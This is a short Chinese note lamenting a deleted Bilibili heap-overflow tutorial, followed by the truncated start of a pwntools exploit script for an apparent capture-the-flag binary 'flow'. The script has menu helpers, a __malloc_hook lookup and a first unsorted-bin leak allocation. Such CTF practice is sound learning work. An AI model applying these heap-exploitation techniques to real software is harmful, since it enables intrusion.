b站原本有一个对堆基础讲的挺好的,好像叫 pwn术进阶的堆溢出,但刚刚去看已经没了,好家伙,还好我刚看完,哈哈哈。
flow
#!/usr/bin/env python2
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#libc
libc=ELF("libc.so.6")
malloc_libc=libc.symbols['__malloc_hook']
menu='ch:'
def add(index,size,content):
io.sendlineafter(menu,"1")
io.sendlineafter("?",str(index))
io.sendlineafter("??",str(size))
io.sendlineafter(":",content)
def edit(index,size,content):
io.sendlineafter(menu,"3")
io.sendlineafter("?",str(index))
io.sendlineafter("??",str(size))
io.sendlineafter("say something:",content)
def delet(index):
io.sendlineafter(menu,"2")
io.sendlineafter("?",str(index))
def show(index):
io.sendlineafter(menu,"4")
io.sendlineafter("?",str(index))
def b(addr):
# bk="b *$rebase("+str(addr)+")"
bk="b *"+str(addr)
attach(io,bk)
success("attach")
def main(debug):
global io
if debug == 0:
io = process("./flow")
else:
io = remote("")
#leak
add(0,0x80,'freedom') #unsorted bins<